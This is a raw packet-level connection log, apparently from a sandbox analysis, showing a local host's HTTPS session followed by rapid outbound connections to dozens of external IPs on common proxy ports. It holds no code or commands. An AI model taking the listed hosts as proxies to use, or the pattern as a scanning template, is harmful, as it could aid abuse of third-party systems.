Mar 11, 2024 16:42:16.861377954 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861474037 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861521006 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.861529112 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861628056 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.861871004 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.861879110 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.904099941 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.904289961 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:16.904304981 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:16.954143047 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.073791981 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.073868990 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.073901892 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.073942900 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.073983908 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074006081 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074033976 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074170113 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074210882 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074222088 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074295044 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074341059 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074348927 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074409962 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074465036 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074508905 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074517965 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074526072 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074548960 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074656963 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074740887 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074748039 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074755907 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074794054 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074815035 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074903965 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074954987 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.074954987 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.074969053 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075011969 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075037956 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075189114 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075253963 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075256109 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075265884 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075299025 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075352907 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075443983 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075474977 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075515032 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075522900 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075591087 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075632095 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075639009 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075844049 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075891972 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075897932 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075906992 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.075941086 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.075963020 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076070070 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076077938 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076152086 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076191902 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076200962 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076281071 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076328039 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076334000 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076473951 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076503038 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076513052 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076520920 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076555967 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076697111 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076796055 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076838017 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076843977 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076935053 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.076975107 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.076981068 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077043056 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077085972 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077096939 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077126026 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077167988 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077231884 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077287912 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077325106 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077331066 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077459097 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077502012 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077507973 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077562094 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077609062 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077616930 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077716112 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077759027 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077801943 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077811956 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077837944 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077858925 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077866077 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.077908993 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.077914000 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.078006029 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.078094959 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.078125000 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.078139067 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.078145027 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.078174114 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.078221083 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.080805063 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.080812931 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.083161116 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.083302975 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.119499922 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.119573116 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.119604111 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.119618893 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.119642019 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.119653940 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.172852993 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289292097 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289365053 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289402962 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289438009 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289473057 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289491892 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289514065 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289549112 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289573908 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289580107 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289729118 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289763927 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289815903 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289870977 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289880037 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289895058 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289927959 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.289935112 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.289994001 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290035963 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290043116 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290143967 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290190935 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290198088 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290231943 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290316105 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290354013 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290360928 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290509939 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290548086 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290555000 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290561914 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290600061 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290616989 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290719032 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290755987 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290761948 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290796995 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290829897 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290888071 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290935993 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.290942907 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.290992975 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291033983 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291040897 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291131020 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291171074 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291208982 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291217089 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291297913 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291341066 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291347027 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291383982 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291388988 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291438103 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291481018 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291490078 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291559935 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291599989 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291606903 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291748047 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291841984 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291886091 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.291893959 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.291964054 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292004108 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292011023 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292047024 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292053938 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292146921 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292205095 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292212963 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292304039 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292351961 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292361021 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292432070 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292505980 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292541981 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292550087 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292619944 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292659998 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292669058 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292740107 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292783022 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292789936 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.292824030 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.292854071 CET	443	49709	140.82.113.4	192.168.2.11
Mar 11, 2024 16:42:17.293900967 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.298676014 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.298891068 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.452548981 CET	49709	443	192.168.2.11	140.82.113.4
Mar 11, 2024 16:42:17.765630960 CET	49711	48892	192.168.2.11	72.167.222.113
Mar 11, 2024 16:42:17.765721083 CET	49712	4145	192.168.2.11	152.32.78.24
Mar 11, 2024 16:42:17.767146111 CET	49715	84	192.168.2.11	103.26.108.118
Mar 11, 2024 16:42:17.767891884 CET	49716	80	192.168.2.11	50.217.226.43
Mar 11, 2024 16:42:17.768042088 CET	49717	9375	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:17.768461943 CET	49714	80	192.168.2.11	190.186.237.103
Mar 11, 2024 16:42:17.769778967 CET	49713	8081	192.168.2.11	79.110.196.145
Mar 11, 2024 16:42:17.770942926 CET	49718	587	192.168.2.11	160.248.80.91
Mar 11, 2024 16:42:17.771505117 CET	49719	8081	192.168.2.11	154.72.90.74
Mar 11, 2024 16:42:17.772878885 CET	49720	8080	192.168.2.11	103.186.8.162
Mar 11, 2024 16:42:17.773711920 CET	49721	5212	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:17.773793936 CET	49722	44607	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:17.774118900 CET	49723	5678	192.168.2.11	91.187.55.39
Mar 11, 2024 16:42:17.775203943 CET	49724	15082	192.168.2.11	45.77.111.135
Mar 11, 2024 16:42:17.775996923 CET	49726	8080	192.168.2.11	201.20.67.70
Mar 11, 2024 16:42:17.776005983 CET	49725	8080	192.168.2.11	103.169.130.46
Mar 11, 2024 16:42:17.776489973 CET	49727	80	192.168.2.11	41.74.91.244
Mar 11, 2024 16:42:17.778459072 CET	49728	8080	192.168.2.11	103.141.66.78
Mar 11, 2024 16:42:17.778677940 CET	49729	1080	192.168.2.11	47.91.110.154
Mar 11, 2024 16:42:17.780092955 CET	49730	49478	192.168.2.11	162.241.70.64
Mar 11, 2024 16:42:17.780240059 CET	49731	37736	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:17.781420946 CET	49732	50640	192.168.2.11	203.161.32.242
Mar 11, 2024 16:42:17.782527924 CET	49733	3129	192.168.2.11	20.219.180.149
Mar 11, 2024 16:42:17.783065081 CET	49734	80	192.168.2.11	172.67.254.127
Mar 11, 2024 16:42:17.784317017 CET	49735	33590	192.168.2.11	85.120.30.66
Mar 11, 2024 16:42:17.784459114 CET	49736	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:17.785687923 CET	49737	8089	192.168.2.11	117.70.49.235
Mar 11, 2024 16:42:17.785902023 CET	49738	4145	192.168.2.11	142.54.237.34
Mar 11, 2024 16:42:17.786906958 CET	49739	3128	192.168.2.11	3.24.58.156
Mar 11, 2024 16:42:17.787866116 CET	49740	8800	192.168.2.11	43.133.136.208
Mar 11, 2024 16:42:17.788279057 CET	49741	80	192.168.2.11	18.141.177.23
Mar 11, 2024 16:42:17.789324045 CET	49742	80	192.168.2.11	104.16.226.6
Mar 11, 2024 16:42:17.789393902 CET	49743	8888	192.168.2.11	200.174.198.95
Mar 11, 2024 16:42:17.792737961 CET	49744	59920	192.168.2.11	45.56.220.210
Mar 11, 2024 16:42:17.798319101 CET	49745	3125	192.168.2.11	103.226.232.188
Mar 11, 2024 16:42:17.800951004 CET	49746	80	192.168.2.11	104.21.6.88
Mar 11, 2024 16:42:17.802855968 CET	49747	4995	192.168.2.11	116.97.240.147
Mar 11, 2024 16:42:17.805115938 CET	49748	5678	192.168.2.11	143.255.140.28
Mar 11, 2024 16:42:17.808067083 CET	49749	8081	192.168.2.11	113.53.3.242
Mar 11, 2024 16:42:17.810833931 CET	49750	8080	192.168.2.11	103.167.68.255
Mar 11, 2024 16:42:17.814779043 CET	49751	5678	192.168.2.11	122.152.53.25
Mar 11, 2024 16:42:17.819364071 CET	49752	40351	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:17.819667101 CET	49753	30951	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:17.821599007 CET	49754	3128	192.168.2.11	8.209.255.13
Mar 11, 2024 16:42:17.825602055 CET	49755	58740	192.168.2.11	162.214.90.49
Mar 11, 2024 16:42:17.829061985 CET	49756	12334	192.168.2.11	194.4.50.91
Mar 11, 2024 16:42:17.831907988 CET	49757	6969	192.168.2.11	103.199.155.18
Mar 11, 2024 16:42:17.834465027 CET	49758	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.834498882 CET	443	49758	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.834609032 CET	49758	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.836998940 CET	49759	22881	192.168.2.11	208.109.14.49
Mar 11, 2024 16:42:17.837549925 CET	49758	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.837568998 CET	443	49758	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.837677002 CET	443	49758	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.839420080 CET	49760	31551	192.168.2.11	91.213.119.246
Mar 11, 2024 16:42:17.843740940 CET	49761	8123	192.168.2.11	20.24.43.214
Mar 11, 2024 16:42:17.849685907 CET	49762	5678	192.168.2.11	178.212.51.79
Mar 11, 2024 16:42:17.852276087 CET	49763	8090	192.168.2.11	103.127.106.249
Mar 11, 2024 16:42:17.856482983 CET	49764	8080	192.168.2.11	185.108.141.19
Mar 11, 2024 16:42:17.859729052 CET	49766	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.859744072 CET	443	49766	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.859898090 CET	49766	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.860609055 CET	49766	443	192.168.2.11	4.182.9.108
Mar 11, 2024 16:42:17.860620975 CET	443	49766	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.860682964 CET	443	49766	4.182.9.108	192.168.2.11
Mar 11, 2024 16:42:17.861725092 CET	49767	80	192.168.2.11	172.67.182.169
Mar 11, 2024 16:42:17.863939047 CET	49765	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:17.865127087 CET	49768	4495	192.168.2.11	67.43.228.252
Mar 11, 2024 16:42:17.869965076 CET	49769	24183	192.168.2.11	92.205.61.38
Mar 11, 2024 16:42:17.873297930 CET	49770	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:17.876828909 CET	49771	80	192.168.2.11	104.17.9.114
Mar 11, 2024 16:42:17.877609968 CET	49772	3128	192.168.2.11	46.245.77.52
Mar 11, 2024 16:42:17.880516052 CET	49773	8402	192.168.2.11	45.229.10.98
Mar 11, 2024 16:42:17.893912077 CET	49774	15673	192.168.2.11	43.155.165.196
Mar 11, 2024 16:42:17.895344973 CET	49775	80	192.168.2.11	50.239.72.18
Mar 11, 2024 16:42:17.898169994 CET	49776	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:17.899691105 CET	49777	28971	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:17.903055906 CET	49778	37876	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:17.905951023 CET	49779	80	192.168.2.11	50.174.145.9
Mar 11, 2024 16:42:17.907409906 CET	49780	999	192.168.2.11	131.100.48.75
Mar 11, 2024 16:42:17.909523964 CET	49781	8080	192.168.2.11	149.126.101.162
Mar 11, 2024 16:42:17.912431002 CET	49782	50605	192.168.2.11	51.81.89.146
Mar 11, 2024 16:42:17.915127993 CET	49783	4145	192.168.2.11	212.231.197.29
Mar 11, 2024 16:42:17.917898893 CET	49784	8080	192.168.2.11	42.200.196.208
Mar 11, 2024 16:42:17.919482946 CET	49785	80	192.168.2.11	93.188.161.84
Mar 11, 2024 16:42:17.922749996 CET	49786	31033	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:17.933419943 CET	49787	80	192.168.2.11	31.207.38.66
Mar 11, 2024 16:42:17.936400890 CET	49788	32221	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:17.936969042 CET	49789	5678	192.168.2.11	186.248.87.172
Mar 11, 2024 16:42:17.937242031 CET	80	49734	172.67.254.127	192.168.2.11
Mar 11, 2024 16:42:17.937314987 CET	49734	80	192.168.2.11	172.67.254.127
Mar 11, 2024 16:42:17.937724113 CET	49734	80	192.168.2.11	172.67.254.127
Mar 11, 2024 16:42:17.938162088 CET	49790	8080	192.168.2.11	103.114.53.2
Mar 11, 2024 16:42:17.941590071 CET	49791	31908	192.168.2.11	64.227.108.25
Mar 11, 2024 16:42:17.943737984 CET	80	49742	104.16.226.6	192.168.2.11
Mar 11, 2024 16:42:17.943799019 CET	49742	80	192.168.2.11	104.16.226.6
Mar 11, 2024 16:42:17.944516897 CET	49742	80	192.168.2.11	104.16.226.6
Mar 11, 2024 16:42:17.944896936 CET	49792	999	192.168.2.11	45.178.133.60
Mar 11, 2024 16:42:17.947213888 CET	49793	5038	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:17.949743032 CET	49794	999	192.168.2.11	200.106.184.97
Mar 11, 2024 16:42:17.952187061 CET	49795	999	192.168.2.11	201.71.3.60
Mar 11, 2024 16:42:17.955288887 CET	80	49746	104.21.6.88	192.168.2.11
Mar 11, 2024 16:42:17.955363989 CET	49746	80	192.168.2.11	104.21.6.88
Mar 11, 2024 16:42:17.956032038 CET	49746	80	192.168.2.11	104.21.6.88
Mar 11, 2024 16:42:17.956453085 CET	49796	54240	192.168.2.11	200.25.254.193
Mar 11, 2024 16:42:17.957554102 CET	49797	80	192.168.2.11	50.239.72.19
Mar 11, 2024 16:42:17.961796999 CET	49798	8089	192.168.2.11	114.231.45.101
Mar 11, 2024 16:42:17.965082884 CET	49799	80	192.168.2.11	45.12.31.3
Mar 11, 2024 16:42:17.968627930 CET	49800	3129	192.168.2.11	115.248.66.131
Mar 11, 2024 16:42:17.971865892 CET	49801	45876	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:17.974139929 CET	49802	37400	192.168.2.11	171.244.140.160
Mar 11, 2024 16:42:17.976362944 CET	49803	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:17.985477924 CET	44607	49722	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:17.991441965 CET	49804	8080	192.168.2.11	14.207.41.71
Mar 11, 2024 16:42:17.993810892 CET	49805	3128	192.168.2.11	196.202.40.17
Mar 11, 2024 16:42:17.995558023 CET	4145	49738	142.54.237.34	192.168.2.11
Mar 11, 2024 16:42:17.995616913 CET	49806	1080	192.168.2.11	185.82.87.30
Mar 11, 2024 16:42:17.995630026 CET	49738	4145	192.168.2.11	142.54.237.34
Mar 11, 2024 16:42:17.996181965 CET	49738	4145	192.168.2.11	142.54.237.34
Mar 11, 2024 16:42:17.997766972 CET	49807	999	192.168.2.11	157.100.63.69
Mar 11, 2024 16:42:17.999862909 CET	49808	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:18.000053883 CET	15082	49724	45.77.111.135	192.168.2.11
Mar 11, 2024 16:42:18.002007961 CET	49809	3629	192.168.2.11	188.124.15.13
Mar 11, 2024 16:42:18.002120018 CET	9375	49717	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:18.004679918 CET	49810	80	192.168.2.11	149.202.91.219
